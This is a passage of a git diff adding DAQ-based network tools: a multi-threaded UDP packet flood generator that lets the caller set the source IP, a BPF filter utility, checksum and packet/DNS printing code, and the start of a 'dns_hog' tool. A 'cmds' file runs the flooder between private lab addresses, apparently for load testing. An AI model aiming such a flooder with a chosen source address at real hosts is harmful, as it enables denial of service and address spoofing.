+ /* Data-plane, runtime state */ + UDPPacketTemplate packet; + unsigned attack_i; + uint16_t src_port; +}; + + +int main (int argc, char const *argv[]) +{ + do_args(argc, (char **)argv); + + /* Initialize the packet data */ + fprintf(stdout, "[+] Framming packet template\n"); + UDPPacketTemplate packet = {}; + + /* ETHERNET Frame */ + packet.eth.ether_type = htons(ETHERTYPE_IP); + if ( opt__dst_hwaddr ) + { + struct ether_addr *hw = ether_aton(opt__dst_hwaddr); + if ( !hw ) + { + fprintf(stderr, "[!] Error in destination hw address specified.\n"); + exit(1); + } + memcpy(&packet.eth.ether_dhost, hw, sizeof(packet.eth.ether_dhost)); + } + + //std::string payload(256, '*'); //C++20 + std::string payload; + payload.reserve(256); + for (int i = 0; i < 256; ++i) { + payload += '*'; + } + + /* IP Datagram */ + //int ip_len = FIXEDSIZE - sizeof(packet.eth) + payload.length(); + int ip_len = UDP_FIXEDSIZE - sizeof(packet.eth) + payload.length(); + + packet.ip.ip_v = MY_IP_VERS; + packet.ip.ip_hl = MY_IP_HLEN; + packet.ip.ip_ttl = MY_IP_TTL; + packet.ip.ip_len = htons(ip_len); + //packet.ip.ip_p = IPPROTO_IPIP; + packet.ip.ip_p = IPPROTO_TCP; + packet.ip.ip_p = IPPROTO_UDP; + + if ( inet_pton(AF_INET, opt__src_ipaddr, &packet.ip.ip_src) <= 0 ) + { + fprintf(stderr, "[!] Error in source ip address specified.\n"); + exit(1); + } + + if ( inet_pton(AF_INET, opt__dst_ipaddr, &packet.ip.ip_dst) <= 0 ) + { + fprintf(stderr, "[!] Error in destination ip address specified.\n"); + exit(1); + } + + /* IP2 */ + //packet.ip2.ip_v = MY_IP_VERS; + //packet.ip2.ip_hl = MY_IP_HLEN; + //packet.ip2.ip_ttl = MY_IP_TTL; + //packet.ip2.ip_len = htons(ip_len - (packet.ip.ip_hl << 2)); + //packet.ip2.ip_p = IPPROTO_TCP; + //inet_pton(AF_INET, "10.0.0.1", &packet.ip2.ip_src); + //inet_pton(AF_INET, "10.9.8.7", &packet.ip2.ip_dst); + + /* TCP Header */ + //packet.tcp.th_off = 0x5; + //packet.tcp.th_win = htons(256); + //packet.tcp.th_flags = TH_SYN|TH_ACK; + //packet.tcp.th_flags = TH_SYN; + + // UDP + packet.udp.uh_ulen = htons(payload.length()); + memcpy(packet.payload, payload.c_str(), payload.length()); + + fprintf(stdout, "[+] Initializing DAQ!\n"); + + DAQ::load_modules(); + packet_set_datalink(DLT_EN10MB); + + DaqVars vars { + //{ "debug", "true" }, + { "use_tx_ring", "false" }, + { "fanout_type", "lb" }, + { "buffer_size_mb", "max" }, + }; + + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + DAQ_Verdict match_verdict = DAQ_VERDICT_PASS; + std::string filter = "ip and host "; + filter += opt__src_ipaddr; + + DaqConfig afpacket_config("afpacket", opt__ifr_name, DAQ_MODE_INLINE, vars); + DataPlaneWorker wk0(afpacket_config, 0, filter, match_verdict, default_verdict, packet); + DataPlaneWorker wk1(afpacket_config, 1, filter, match_verdict, default_verdict, packet); + DataPlaneWorker wk2(afpacket_config, 2, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk3(afpacket_config, 3, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk4(afpacket_config, 4, filter, match_verdict, default_verdict, packet); + + sleep(5); + + while (wk0.is_active() or + wk1.is_active() or + wk2.is_active()) + //wk3.is_active() or + //wk4.is_active()) + { + sleep(1); + } + + wk0.stop(); + wk0.join(); + + wk1.stop(); + wk1.join(); + + wk2.stop(); + wk2.join(); + + //wk3.stop(); + //wk3.join(); + + //wk4.stop(); + //wk4.join(); + + DAQ::unload_modules(); + return 0; +} + diff --git a/bin/bpf_filter.cc b/bin/bpf_filter.cc new file mode 100644 index 0000000..69f77e8 --- /dev/null +++ b/bin/bpf_filter.cc @@ -0,0 +1,535 @@ +// DAQ Global - vjr +#include +#ifndef _GNU_SOURCE +# define _GNU_SOURCE +#endif +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + + +#define TXT_FG_RED(str) "\e[31m" str "\e[0m" +#define TXT_FG_GREEN(str) "\e[32m" str "\e[0m" +#define TXT_FG_ORANGE(str) "\e[33m" str "\e[0m" +#define TXT_FG_TEAL(str) "\e[34m" str "\e[0m" +#define TXT_FG_PURPLE(str) "\e[35m" str "\e[0m" + +#include "daq_print.h" + +/* DLT_RAW + * + * Mandatory, as the VPP daq only supports L3 delivery. + * + * This is used to set the "base protocol" used in libpcap and libpacket + * features. + */ +//#define DLT_RAW 12 + +/* DAQ_BATCH_SIZE + * + * The maximum number of packets (DAQ_Msg_h) that we will batch read/process at + * once. + */ +#define DAQ_BATCH_SIZE 16 + +/* SNAPLEN + * + * The SNAPLEN is the absolulte maximum size packet we support processing. + * NOTICE: This value should be defined by VPP as the vlib buffer size. + */ +#define SNAPLEN 2048 + +/* TIMEOUT + * + * The TIMEOUT amount of usec waiting for daq_receive to return. + * NOTICE: TIMEOUT support in redacted DAQ only works in interrupt mode. + */ +#define TIMEOUT 100 + +/* STATIC_MODULES + * + * Enables the support of builtin libdaq_static_redacted.la + * + * If you're in a pinch and need to build an all-in-one static binary, you can + * do it, but not using the Makefile. */ +#undef STATIC_MODULES + +#define UNUSED(name) name ## _unused __attribute__ ((unused)) +#define IS_SET(test, bits) (((test) & (bits)) == (bits)) + +#ifndef UNIX_PATH_MAX +#define UNIX_PATH_MAX (sizeof(((struct sockaddr_un*)NULL)->sun_path)) +#endif + +using socketpath_t = char[UNIX_PATH_MAX]; + +#define ERRBUF_SIZE 256 +using Errbuf = std::array; + +// DaqVariable +using DaqVariable = std::pair; +using DaqVars = std::vector; + +char const* str_from_verdict(DAQ_Verdict const& verdict); + +namespace DAQ +{ +#ifdef STATIC_MODULES + // from libdaq_static_redacted.a + extern "C" const DAQ_ModuleAPI_t redacted_daq_module_data; + + static DAQ_Module_h static_modules[] = + { + &redacted_daq_module_data, + nullptr + }; +#endif + + static char const *module_paths[] = + { + "/usr/local/lib/daq", + nullptr + }; + + static bool s_modules_loaded = false; + void load_modules() + { + if (s_modules_loaded == false) + { + s_modules_loaded = true; +#ifdef STATIC_MODULES + daq_load_static_modules(static_modules); +#endif + daq_load_dynamic_modules(module_paths); + } + } + + void unload_modules() + { + if (s_modules_loaded == true) + { + daq_unload_modules(); + s_modules_loaded = false; + } + } +} + +// DaqConfig +// +// DaqConfig is a "copy safe" representation of a DAQ_Config_h opaque pointer. +// This would be trivial to implement if the DAQ_Config_t type was avaiable +// from the DAQ API. +// +// The DaqConfig attempts to make a mutable representation of a DAQ_Config_h. +// To accomplish this task, it implements a factory pattern, constructring C++ +// type DAQ_Config_p that provides a constructor/desctructor for DAQ_Config_h. +// +// NOTICE +// +// * Implementing this would be easier if the DAQ_Config_t was not hidden from +// the DAQ API. +// +class DaqConfig +{ +public: + DaqConfig(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : module(module), + input(input), + mode(mode), + vars(vars) + { } + + struct DAQ_Config_p + { + DAQ_Config_p(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : config(nullptr) + { + daq_config_new(&config); + daq_config_set_input(config, input.c_str()); + daq_config_set_snaplen(config, SNAPLEN); + daq_config_set_timeout(config, TIMEOUT); + + DAQ_Module_h mod = daq_find_module(module.c_str()); + if (mod == nullptr) { + daq_config_destroy(config); + config = nullptr; + } + + DAQ_ModuleConfig_h modconf = nullptr; + int result = daq_module_config_new(&modconf, mod); + if (result != DAQ_SUCCESS) { + daq_config_destroy(config); + config = nullptr; + } + + daq_module_config_set_mode(modconf, mode); + for (auto const & var : vars) { + daq_module_config_set_variable(modconf, var.first.c_str(), var.second.c_str()); + } + + result = daq_config_push_module_config(config, modconf); + if (result != DAQ_SUCCESS) { + // NOTICE This is the only time we are allowed to call this ourselves. + daq_module_config_destroy(modconf); + modconf = nullptr; + + daq_config_destroy(config); + config = nullptr; + } + } + + ~DAQ_Config_p() + { + // Calling daq_config_destroy will call + // `daq_module_config_destroy(modcfg)` on each module. + daq_config_destroy(config); + config = nullptr; + } + + DAQ_Config_h config; + }; + + DAQ_Config_p get_config() const + { + return DAQ_Config_p(module, input, mode, vars); + } + +private: + std::string module; + std::string input; + DAQ_Mode mode; + DaqVars vars; +}; + +#define FRAME_SIZE 256 + +struct DaqMsgFrame +{ + std::array msgs; + size_t recv_count; +}; + +struct DaqVerdictFrame +{ + std::array verdicts; +}; + +struct RecvResult +{ + DAQ_RecvStatus status; + DaqMsgFrame const& frame; +}; + +class DaqInstance +{ +public: + DaqInstance(DaqConfig const & config) + : instance(NULL), config(config) + {} + + ~DaqInstance() + { + if (instance) { + daq_instance_destroy(instance); + instance = nullptr; + } + + msgs.recv_count = 0; + } + + DaqInstance(DaqInstance const & other) + : config(other.config) + { } + + int instantiate() + { + return daq_instance_instantiate( + config.get_config().config, + &instance, + errbuf.data(), + errbuf.size()); + } + + int start() + { + return daq_instance_start(instance); + } + + int stop() + { + return daq_instance_stop(instance); + } + + RecvResult receive_msgs() + { + DAQ_RecvStatus rstat; + msgs.recv_count = daq_instance_msg_receive( + instance, + msgs.msgs.max_size(), + msgs.msgs.data(), + &rstat); + + return { rstat, msgs }; + } + + //void finalize_msgs(DAQ_Verdict const & verdict) + void finalize_msgs(DaqVerdictFrame const & verdicts) + { + for (unsigned i = 0; i < msgs.recv_count; i++) + { + DAQ_Msg_h msg = msgs.msgs[i]; + DAQ_Verdict verdict = verdicts.verdicts[i]; + daq_instance_msg_finalize(instance, msg, verdict); + } + + msgs.recv_count = 0; + } + + DAQ_Stats_t get_stats() const + { + DAQ_Stats_t stats; + daq_instance_get_stats(instance, &stats); + return stats; + } + + void reset_stats() const + { + daq_instance_reset_stats(instance); + } + +private: + DAQ_Instance_h instance; + DaqConfig config; + DaqMsgFrame msgs; + Errbuf errbuf; +}; + +class DataPlaneWorker +{ + using threadname_t = char[256]; + +public: + DataPlaneWorker(DaqConfig config, unsigned id, std::string filter, DAQ_Verdict verdict, DAQ_Verdict default_verdict) + : config(config), + id(id), + match_verdict(verdict), + default_verdict(default_verdict) + { + pcap_t *dead = pcap_open_dead(DLT_EN10MB, SNAPLEN); + if (dead == nullptr) + abort(); + + if (pcap_compile(dead, &fcode, filter.c_str(), 0, PCAP_NETMASK_UNKNOWN) == -1) + { + fprintf(stderr, "%s: BPF state machine compilation failed! (%s)", + __func__, filter.c_str()); + abort(); + } + + pcap_close(dead); + dead = nullptr; + + int result = bpf_validate(fcode.bf_insns, fcode.bf_len); + if (result != 1) + { + fprintf(stderr, "%s: BPF is not valid!", __func__); + abort(); + } + + thread = std::thread(&DataPlaneWorker::eval, this); + pthread_t native = thread.native_handle(); + + snprintf(name, sizeof(name), "pkt_wk_%u", id); + pthread_setname_np(native, name); + + // Float these workers on core 4 + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(4, &cpuset); + pthread_setaffinity_np(native, sizeof(cpuset), &cpuset); + } + + ~DataPlaneWorker() + { + pcap_freecode(&fcode); + } + + void join() + { + thread.join(); + } + + void eval() + { + DaqInstance in(config); + + in.instantiate(); + in.start(); + + state = START; + + do { + auto recv = in.receive_msgs(); + + if (recv.frame.recv_count > 0) { + print_packets(recv.frame); + } + + if (recv.status == DAQ_RSTAT_ERROR || + recv.status == DAQ_RSTAT_INVALID) { + state = STOP; + } + + in.finalize_msgs(verdicts); + + } while(state != STOP); + + in.stop(); + } + + void stop() + { + state = STOP; + } + +private: + bool filter_packet(UNUSED(DAQ_PktHdr_t const* hdr), + uint8_t const* data, + uint32_t const size, + bpf_program const& fcode) + { + return bpf_filter(fcode.bf_insns, data, size, size) == SNAPLEN; + } + + char const* str_from_verdict(DAQ_Verdict const& verdict) + { + if (verdict == DAQ_VERDICT_PASS) + return TXT_FG_TEAL("pass"); + if (verdict == DAQ_VERDICT_BLOCK) + return TXT_FG_RED("block"); + if (verdict == DAQ_VERDICT_WHITELIST) + return TXT_FG_GREEN("allowlist"); + if (verdict == DAQ_VERDICT_BLACKLIST) + return TXT_FG_PURPLE("blocklist"); + if (verdict == DAQ_VERDICT_IGNORE) + return "ignore"; + return ""; + } + + void print_packets(DaqMsgFrame const& frame) + { + for (unsigned i = 0; i < frame.recv_count; i++) + { + auto const & msg = frame.msgs[i]; + if (msg->type == DAQ_MSG_TYPE_PACKET) { + DAQ_PktHdr_t const * hdr = daq_msg_get_pkthdr(msg); + uint8_t const * data = daq_msg_get_data(msg); + uint32_t const size = daq_msg_get_data_len(msg); + + DAQ_Verdict verdict = default_verdict; + bool matched = false; + if (filter_packet(hdr, data, size, fcode)) { + verdict = match_verdict; + matched = true; + } + + verdicts.verdicts[i] = verdict; + printf(matched ? "[" TXT_FG_PURPLE("!") "] " : ""); + printf("[%s] ", str_from_verdict(verdict)); + print_packet(id, hdr, data, hdr->pktlen); + } + } + } + + DaqConfig config; + unsigned id; + + enum { INVAL, STOP, START } state; + std::thread thread; + threadname_t name; + bpf_program fcode; + DaqVerdictFrame verdicts; + + DAQ_Verdict match_verdict; + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; +}; + +// this is similar to how tcpdump +static inline std::string +concat_args(int argc, char const* argv[]) +{ + std::string result; + for (int i = 0; i < argc; ++i) + { + if (i > 0) + { + result += " "; + } + result += argv[i]; + } + return result; +} + +static inline DAQ_Verdict +verdict_from_str(std::string const& arg) +{ + if (arg == "pass") + return DAQ_VERDICT_PASS; + + if (arg == "block") + return DAQ_VERDICT_BLOCK; + + if (arg == "allowlist" || arg == "whitelist") + return DAQ_VERDICT_WHITELIST; + + if (arg == "blocklist" || arg == "blacklist") + return DAQ_VERDICT_BLACKLIST; + + abort(); + return DAQ_VERDICT_IGNORE; +} + +int main(int argc, char const* argv[]) +{ + DAQ::load_modules(); + packet_set_datalink(DLT_EN10MB); + + DaqVars vars { + { "debug", "true" }, + }; + + if (argc < 3) + { + fprintf(stderr, "Usage: bpf_filter \n"); + exit(1); + } + + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + DAQ_Verdict match_verdict = verdict_from_str(argv[2]); + std::string filter = concat_args(argc-3, argv+3); + + DaqConfig pcap_config("pcap", argv[1], DAQ_MODE_READ_FILE, vars); + DataPlaneWorker wk0(pcap_config, 0, filter, match_verdict, default_verdict); + + sleep(2); + + wk0.stop(); + wk0.join(); + + DAQ::unload_modules(); + return 0; +} diff --git a/bin/cmds b/bin/cmds new file mode 100644 index 0000000..25a66dd --- /dev/null +++ b/bin/cmds @@ -0,0 +1,2 @@ +build/flood -e 15 -i eth0 -D 02:42:4b:b5:46:d5 --src-ip 192.168.30.3 --dst-ip 192.168.20.2 -l 1 + diff --git a/bin/csum.c b/bin/csum.c new file mode 100644 index 0000000..fd8a31f --- /dev/null +++ b/bin/csum.c @@ -0,0 +1,85 @@ +/* + * Copyright (c) Victor Roemer, 2013. All rights reserved. + * Copyright (c) 2002 Dug Song + * + * ip_checksum() is a modified version of that in libdnet. + */ + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +int ip_cksum_add ( const void *buf, size_t len, int cksum ) +{ + uint16_t *sp = (uint16_t *)buf; + int sn = len / 2; + int n = (sn + 15) / 16; + + switch ( sn % 16 ) { + case 0: do { cksum += *sp++; + case 15: cksum += *sp++; + case 14: cksum += *sp++; + case 13: cksum += *sp++; + case 12: cksum += *sp++; + case 11: cksum += *sp++; + case 10: cksum += *sp++; + case 9: cksum += *sp++; + case 8: cksum += *sp++; + case 7: cksum += *sp++; + case 6: cksum += *sp++; + case 5: cksum += *sp++; + case 4: cksum += *sp++; + case 3: cksum += *sp++; + case 2: cksum += *sp++; + case 1: cksum += *sp++; + } while ( --n > 0 ); + } + if ( len & 1 ) + cksum += htons(*(uint8_t *)sp << 8); + + return cksum; +} + +#define ip_cksum_carry(x) \ + (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff)) + +void ip_checksum(void *buf, size_t len) +{ + struct ip *ip; + int hl, off, sum; + + ip = (struct ip *)buf; + hl = ip->ip_hl << 2; + ip->ip_sum = 0; + sum = ip_cksum_add(ip, hl, 0); + ip->ip_sum = ip_cksum_carry(sum); + + off = htons(ip->ip_off); + + if ((off & IP_OFFMASK) != 0 || (off & IP_MF) != 0) + return; + + len -= hl; + + if ( ip->ip_p == IPPROTO_TCP ) + { + struct tcphdr *tcp = (struct tcphdr *)((uint8_t *)ip + hl); + + tcp->th_sum = 0; + sum = ip_cksum_add(tcp, len, 0) + htons(ip->ip_p + len); + sum = ip_cksum_add(&ip->ip_src, 8, sum); + tcp->th_sum = ip_cksum_carry(sum); + } + else if ( ip->ip_p == IPPROTO_IPIP ) + { + ip_checksum(((uint8_t *)ip + hl), len); + } +} diff --git a/bin/daq_print.cc b/bin/daq_print.cc new file mode 100644 index 0000000..8c30662 --- /dev/null +++ b/bin/daq_print.cc @@ -0,0 +1,262 @@ +// print_packet, coppied from many of my tools using libpacket +// Victor Roemer, wtfbbqhax + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "daq_print.h" + +#define IS_SET(flags, bit) ((flags & bit) == bit) + +// From https://github.com/the-tcpdump-group/tcpdump/blob/master/nameser.h#L312 + +/* + * Macros for subfields of flag fields. + */ +#define DNS_QR(flags) ((flags) & 0x8000) /* response flag */ +#define DNS_OPCODE(flags) (((flags) >> 11) & 0xF) /* purpose of message */ +#define DNS_AA(flags) (flags & 0x0400) /* authoritative answer */ +#define DNS_TC(flags) (flags & 0x0200) /* truncated message */ +#define DNS_RD(flags) (flags & 0x0100) /* recursion desired */ +#define DNS_RA(flags) (flags & 0x0080) /* recursion available */ +#define DNS_AD(flags) (flags & 0x0020) /* authentic data from named */ +#define DNS_CD(flags) (flags & 0x0010) /* checking disabled by resolver */ +#define DNS_RCODE(flags) (flags & 0x000F) /* response code */ + +// Function to decode the DNS protocol +int print_dns(dns const& dns) +{ + bool is_response = DNS_QR(dns.h.flags); + + if (is_response) + { + printf("[dns response] [rcode:%d, id:%d, qdcount: %d, ancount: %d, nscount: %d, arcount:%d]\n", + DNS_RCODE(dns.h.flags), + dns.h.id, + dns.h.qdcount, + dns.h.ancount, + dns.h.nscount, + dns.h.arcount); + } + else + { + printf("[dns query] [id:%d, qdcount: %d]\n", + dns.h.id, + dns.h.qdcount); + } + + // Parsing Question Section + for (int i = 0; i < dns.h.qdcount; i++) + { + struct dns_query const& q = dns.questions[i]; + // FIXME: Formatting/printing the QNAME + //struct dns_query *q = &dns.questions[i]; + // Display QNAME + // Display QTYPE and QCLASS (assuming a structure in Packet to store this information) + printf("[query] [label: %s, type: %d, class: %d]\n", + q.label.c_str(), + q.dns_qtype, + q.dns_qclass); + } + + // Parsing Answers Section + for (int i = 0; i < dns.h.ancount; i++) + { + char addr[INET6_ADDRSTRLEN]; + std::string human; + + struct dns_answer const &a = dns.answers[i]; + if (a.dns_atype == 1) + { + inet_ntop(AF_INET, a.data.data(), addr, sizeof(addr)); + human.append(addr, strnlen(addr, INET6_ADDRSTRLEN)); + } + else if (a.dns_atype == 28) + { + inet_ntop(AF_INET6, a.data.data(), addr, sizeof(addr)); + human.append(addr, strnlen(addr, INET6_ADDRSTRLEN)); + } + else + { + human = a.data; + } + printf("[answer] [data: %s, type: %d, class %d, ttl: %d]\n", + human.c_str(), + a.dns_atype, + a.dns_aclass, + a.dns_ttl); + // // Display QNAME + // // Display QTYPE and QCLASS (assuming a structure in Packet to store this information) + // (void)dns[0].questions[i].dns_qtype; + // (void)dns[0].questions[i].dns_qclass; + } + + printf("\n"); + return 0; +} + +// Taken from Pcapstats BSD License +// +void print_data(uint8_t const * data, int64_t length) +{ + int i, x, j, c; + int w = 0; + + for( i=0; length>0; length -= 16 ) + { + c = length >= 16 ? 16 : length; + printf("%06X ", w); + w+=16; + + for( j=0; j 128 ? 128 : max; + //print_data(payload, max); + +#ifdef PRINT_PACKET_STATS + // Packet stats are useful for determining decoding errors + struct packet_stats const * stats; + packet_stats(&stats); + + printf("ip4 headers: %u\n" + "ip4 badsum: %u\n" + "ip4 tooshort: %u\n" + "ip4 toosmall: %u\n" + "ip4 badhlen: %u\n" + "ip4 badlen: %u\n", + stats->ips_packets, + stats->ips_badsum, + stats->ips_tooshort, + stats->ips_toosmall, + stats->ips_badhlen, + stats->ips_badlen); + printf("tcp headers: %u\n" + "tcp badsum: %u\n" + "tcp badoff: %u\n" + "tcp tooshort %u\n", + stats->tcps_packets, + stats->tcps_badsum, + stats->tcps_badoff, + stats->tcps_tooshort); +#endif +} + + + + diff --git a/bin/daq_print.h b/bin/daq_print.h new file mode 100644 index 0000000..e1db1e2 --- /dev/null +++ b/bin/daq_print.h @@ -0,0 +1,24 @@ +#ifndef MINISNORT_PRINT_PACKET_H +#define MINISNORT_PRINT_PACKET_H + +#include +#include + +/* + * PRINT_PACKET_LAYERS + * @desc Print the protocol layer composition. + */ +#undef PRINT_PACKET_LAYERS + +/* + * PRINT_PACKET_STATS + * @desc Print the packet decoding stats. + * Useful for debugging decoding errors. + */ +#undef PRINT_PACKET_STATS + +typedef struct _daq_pkt_hdr DAQ_PktHdr_t; +void print_packet(int const instance_id, DAQ_PktHdr_t const * hdr, uint8_t const * data, size_t const len); + +#endif // MINISNORT_PRINT_PACKET_H + diff --git a/bin/dns_hog.cc b/bin/dns_hog.cc new file mode 100644 index 0000000..5440a1a --- /dev/null +++ b/bin/dns_hog.cc @@ -0,0 +1,536 @@ +// DAQ Global - vjr +#include +#ifndef _GNU_SOURCE +# define _GNU_SOURCE +#endif +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + + +#define TXT_FG_RED(str) "\e[31m" str "\e[0m" +#define TXT_FG_GREEN(str) "\e[32m" str "\e[0m" +#define TXT_FG_ORANGE(str) "\e[33m" str "\e[0m" +#define TXT_FG_TEAL(str) "\e[34m" str "\e[0m" +#define TXT_FG_PURPLE(str) "\e[35m" str "\e[0m" + +#include "daq_print.h" + +/* DLT_RAW + * + * Mandatory, as the redacted daq only supports L3 delivery. + * + * This is used to set the "base protocol" used in libpcap and libpacket + * features. + */ +//#define DLT_RAW 12 + +/* DAQ_BATCH_SIZE + * + * The maximum number of packets (DAQ_Msg_h) that we will batch read/process at + * once. + */ +#define DAQ_BATCH_SIZE 16 + +/* SNAPLEN + * + * The SNAPLEN is the absolulte maximum size packet we support processing. + * NOTICE: This value should be defined by redacted as the vlib buffer size. + */ +#define SNAPLEN 2048 + +/* TIMEOUT + * + * The TIMEOUT amount of usec waiting for daq_receive to return. + * NOTICE: TIMEOUT support in redacted DAQ only works in interrupt mode. + */ +#define TIMEOUT 100 + +/* STATIC_MODULES + * + * Enables the support of builtin libdaq_static_redacted.a + * + * If you're in a pinch and need to build an all-in-one static binary, you can + * do it, but not using the Makefile. */ +#undef STATIC_MODULES + +#define UNUSED(name) name ## _unused __attribute__ ((unused)) +#define IS_SET(test, bits) (((test) & (bits)) == (bits)) + + +#define ERRBUF_SIZE 256 +using Errbuf = std::array; + +// DaqVariable +using DaqVariable = std::pair; +using DaqVars = std::vector; + +char const* str_from_verdict(DAQ_Verdict const& verdict); + +namespace DAQ +{ +#ifdef STATIC_MODULES + // from libdaq_static_redacted.a + extern "C" const DAQ_ModuleAPI_t redacted_daq_module_data; + + static DAQ_Module_h static_modules[] = + { + &redacted_daq_module_data, + nullptr + }; +#endif + + static char const *module_paths[] = + { + "/usr/local/lib/abcip", + "/usr/local/lib/daq", + nullptr + }; + + static bool s_modules_loaded = false; + void load_modules() + { + if (s_modules_loaded == false) + { + s_modules_loaded = true; +#ifdef STATIC_MODULES + daq_load_static_modules(static_modules); +#endif + daq_load_dynamic_modules(module_paths); + } + } + + void unload_modules() + { + if (s_modules_loaded == true) + { + daq_unload_modules(); + s_modules_loaded = false; + } + } +} + +// DaqConfig +// +// DaqConfig is a "copy safe" representation of a DAQ_Config_h opaque pointer. +// This would be trivial to implement if the DAQ_Config_t type was avaiable +// from the DAQ API. +// +// The DaqConfig attempts to make a mutable representation of a DAQ_Config_h. +// To accomplish this task, it implements a factory pattern, constructring C++ +// type DAQ_Config_p that provides a constructor/desctructor for DAQ_Config_h. +// +// NOTICE +// +// * Implementing this would be easier if the DAQ_Config_t was not hidden from +// the DAQ API. +// +class DaqConfig +{ +public: + DaqConfig(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : module(module), + input(input), + mode(mode), + vars(vars) + { } + + struct DAQ_Config_p + { + DAQ_Config_p(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : config(nullptr) + { + daq_config_new(&config); + daq_config_set_input(config, input.c_str()); + daq_config_set_snaplen(config, SNAPLEN); + daq_config_set_timeout(config, TIMEOUT); + + DAQ_Module_h mod = daq_find_module(module.c_str()); + if (mod == nullptr) { + daq_config_destroy(config); + config = nullptr; + } + + DAQ_ModuleConfig_h modconf = nullptr; + int result = daq_module_config_new(&modconf, mod); + if (result != DAQ_SUCCESS) { + daq_config_destroy(config); + config = nullptr; + } + + daq_module_config_set_mode(modconf, mode); + for (auto const & var : vars) { + daq_module_config_set_variable(modconf, var.first.c_str(), var.second.c_str()); + } + + result = daq_config_push_module_config(config, modconf); + if (result != DAQ_SUCCESS) { + // NOTICE This is the only time we are allowed to call this ourselves. + daq_module_config_destroy(modconf); + modconf = nullptr; + + daq_config_destroy(config); + config = nullptr; + } + } + + ~DAQ_Config_p() + { + // Calling daq_config_destroy will call + // `daq_module_config_destroy(modcfg)` on each module. + daq_config_destroy(config); + config = nullptr; + } + + DAQ_Config_h config; + }; + + DAQ_Config_p get_config() const + { + return DAQ_Config_p(module, input, mode, vars); + } + +private: + std::string module; + std::string input; + DAQ_Mode mode; + DaqVars vars; +}; + +#define FRAME_SIZE 256 + +struct DaqMsgFrame +{ + std::array msgs; + size_t recv_count; +}; + +struct DaqVerdictFrame +{ + std::array verdicts; +}; + +struct RecvResult +{ + DAQ_RecvStatus status; + DaqMsgFrame const& frame; +}; + +class DaqInstance +{ +public: + DaqInstance(DaqConfig const & config) + : instance(NULL), config(config) + {} + + ~DaqInstance() + { + if (instance) { + daq_instance_destroy(instance); + instance = nullptr; + } + + msgs.recv_count = 0; + } + + DaqInstance(DaqInstance const & other) + : config(other.config) + { } + + int instantiate() + { + return daq_instance_instantiate( + config.get_config().config, + &instance, + errbuf.data(), + errbuf.size()); + } + + int start() + { + return daq_instance_start(instance); + } + + int stop() + { + return daq_instance_stop(instance); + } + + RecvResult receive_msgs() + { + DAQ_RecvStatus rstat; + msgs.recv_count = daq_instance_msg_receive( + instance, + msgs.msgs.max_size(), + msgs.msgs.data(), + &rstat); + + return { rstat, msgs }; + } + + //void finalize_msgs(DAQ_Verdict const & verdict) + void finalize_msgs(DaqVerdictFrame const & verdicts) + { + for (unsigned i = 0; i < msgs.recv_count; i++) + { + DAQ_Msg_h msg = msgs.msgs[i]; + DAQ_Verdict verdict = verdicts.verdicts[i]; + daq_instance_msg_finalize(instance, msg, verdict); + } + + msgs.recv_count = 0; + } + + DAQ_Stats_t get_stats() const + { + DAQ_Stats_t stats; + daq_instance_get_stats(instance, &stats); + return stats; + } + + void reset_stats() const + { + daq_instance_reset_stats(instance); + } + +private: + DAQ_Instance_h instance; + DaqConfig config; + DaqMsgFrame msgs; + Errbuf errbuf; +}; + +class DataPlaneWorker +{ + using threadname_t = char[256]; + +public: + DataPlaneWorker(DaqConfig config, unsigned id, std::string filter, DAQ_Verdict verdict, DAQ_Verdict default_verdict) + : config(config), + id(id), + match_verdict(verdict), + default_verdict(default_verdict) + { + pcap_t *dead = pcap_open_dead(DLT_EN10MB, SNAPLEN); + if (dead == nullptr) + abort(); + + if (pcap_compile(dead, &fcode, filter.c_str(), 0, PCAP_NETMASK_UNKNOWN) == -1) + { + fprintf(stderr, "%s: BPF state machine compilation failed!", __func__); + abort(); + } + + pcap_close(dead); + dead = nullptr; + + //if (pcap_compile_nopcap(SNAPLEN, DLT_EN10MB, &fcode, filter.c_str(), 0, PCAP_NETMASK_UNKNOWN) == -1) + //{ + // fprintf(stderr, "%s: BPF state machine compilation failed!", __func__); + // abort(); + //} + + int result = bpf_validate(fcode.bf_insns, fcode.bf_len); + if (result != 1) + { + fprintf(stderr, "%s: BPF is not valid!", __func__); + abort(); + } + + thread = std::thread(&DataPlaneWorker::eval, this); + pthread_t native = thread.native_handle(); + + snprintf(name, sizeof(name), "pkt_wk_%u", id); + pthread_setname_np(native, name); + + // Float these workers on core 4 + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(4, &cpuset); + pthread_setaffinity_np(native, sizeof(cpuset), &cpuset); + } + + ~DataPlaneWorker() + { + pcap_freecode(&fcode); + } + + void join() + { + thread.join(); + } + + void eval() + { + DaqInstance in(config); + + in.instantiate(); + in.start(); + + state = START; + + do { + auto recv = in.receive_msgs(); + + if (recv.frame.recv_count > 0) { + print_packets(recv.frame); + } + + if (recv.status == DAQ_RSTAT_ERROR || + recv.status == DAQ_RSTAT_INVALID) { + state = STOP; + } + + in.finalize_msgs(verdicts); + + } while(state != STOP); + + in.stop(); + } + + void stop() + { + state = STOP; + } + +private: + bool filter_packet(UNUSED(DAQ_PktHdr_t const* hdr), + uint8_t const* data, + uint32_t const size, + bpf_program const& fcode) + { + return bpf_filter(fcode.bf_insns, data, size, size) == SNAPLEN; + } + + char const* str_from_verdict(DAQ_Verdict const& verdict) + { + if (verdict == DAQ_VERDICT_PASS) + return TXT_FG_TEAL("pass"); + if (verdict == DAQ_VERDICT_BLOCK) + return TXT_FG_RED("block"); + if (verdict == DAQ_VERDICT_WHITELIST) + return TXT_FG_GREEN("allowlist"); + if (verdict == DAQ_VERDICT_BLACKLIST) + return 